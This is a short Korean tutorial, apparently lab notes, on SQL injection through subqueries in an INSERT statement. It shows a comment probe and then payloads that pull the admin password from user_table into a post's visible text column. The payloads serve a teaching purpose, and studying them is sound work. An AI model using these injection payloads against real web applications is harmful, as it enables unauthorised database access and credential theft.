Sub Query란?
서브 쿼리를 사용하면 쿼리 내에서 다른 쿼리를 사용할 수 있다. 서브 쿼리는 () 안에 SQL 구문을 삽입하며 SELECT 구문만 사용할 수 있다.
Sub Query SQLi 실습
게시물을 생성하는 페이지이다. INSERT 구문을 사용하며 사용자에게 Title과 Content를 입력받는다.
-- 예상 서버 쿼리
INSERT INTO board (name, text) VALUES ('입력값', '입력값');취약점 확인
' -- - 삽입 결과 주석이 동작해 인젝션이 가능한 것을 확인하였다.
서브쿼리를 삽입해 서브쿼리 결과가 반영되는지 살펴보자.
-- title 파라미터에 삽입 시도
inmo', (select 1)) -- -
-- DB에 반영되는 쿼리
INSERT INTO board (name, text) VALUES ('inmo', (select 1)) -- -', '1234')select 1 쿼리 결과(1)가 text 컬럼에 삽입되어 정상적으로 출력된다.
데이터 탈취
admin 패스워드는 board 테이블이 아니라 user_table에 있다. 서브쿼리로 user_table을 조회한다.
-- 공격 쿼리
inmo', (select upw from user_table where uid='admin')) -- -
-- DB에 반영되는 쿼리
INSERT INTO board (name, text) VALUES ('inmo', (select upw from user_table where uid='admin')) -- -', '1234')admin 패스워드를 조회하는 서브쿼리 실행 결과, 패스워드가 text 컬럼에 출력된다.
핵심 포인트
- INSERT / UPDATE 구문이 사용되는 곳에서도 서브쿼리로 데이터 탈취 가능
- 서브쿼리는
SELECT만 사용 가능하므로 데이터 변조에는 직접 사용 불가 - name, text 컬럼 중 어느 위치에 인젝션하느냐에 따라 출력 위치가 달라짐